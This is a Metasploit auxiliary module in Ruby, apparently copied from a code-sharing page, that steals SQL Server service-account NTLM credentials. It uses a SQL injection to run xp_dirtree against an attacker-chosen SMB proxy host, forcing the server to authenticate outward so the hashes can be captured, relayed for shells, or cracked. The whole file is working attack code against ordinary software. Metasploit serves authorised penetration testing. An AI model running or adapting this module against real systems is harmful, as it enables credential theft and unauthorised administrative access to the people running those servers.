Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::MSSQL_SQLI
8

9
  def initialize(info = {})
10
    super(update_info(info,
11
      'Name'           => 'Microsoft SQL Server SQLi NTLM Stealer',
12
      'Description'    => %q{
13
        This module can be used to help capture or relay the LM/NTLM credentials of the
14
        account running the remote SQL Server service. The module will use the SQL
15
        injection from GET_PATH to connect to the target SQL Server instance and execute
16
        the native "xp_dirtree" or stored procedure.   The stored procedures will then
17
        force the service account to authenticate to the system defined in the SMBProxy
18
        option. In order for the attack to be successful, the SMB capture or relay module
19
        must be running on the system defined as the SMBProxy. The database account used to
20
        connect to the database should only require the "PUBLIC" role to execute.
21
        Successful execution of this attack usually results in local administrative access
22
        to the Windows system.  Specifically, this works great for relaying credentials
23
        between two SQL Servers using a shared service account to get shells.  However, if
24
        the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
25
        and john the ripper.
26
      },
27
      'Author'         =>
28
        [
29
          'nullbind <scott.sutherland[at]netspi.com>',
30
          'Antti <antti.rantasaari[at]netspi.com>'
31
        ],
32
      'License'        => MSF_LICENSE,
33
      'References'     => [[ 'URL', 'https://en.wikipedia.org/wiki/SMBRelay' ]]
34
    ))
35

36
    register_options(
37
      [
38
        OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
39
      ])
40
  end
41

42
  def run
43

44
    # Reminder
45
    print_status("DONT FORGET to run a SMB capture or relay module!")
46

47
    # Generate random file name
48
    rand_filename = Rex::Text.rand_text_alpha(8, bad='')
49

50
    # Setup query - double escaping backslashes
51
    sql = "exec master..xp_dirtree '\\\\\\\\#{datastore['SMBPROXY']}\\#{rand_filename}'"
52
    print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}")
53

54
    # Execute query to force authentication from backend database to smbproxy
55
    mssql_query(sql)
56
  end
57
end
58

59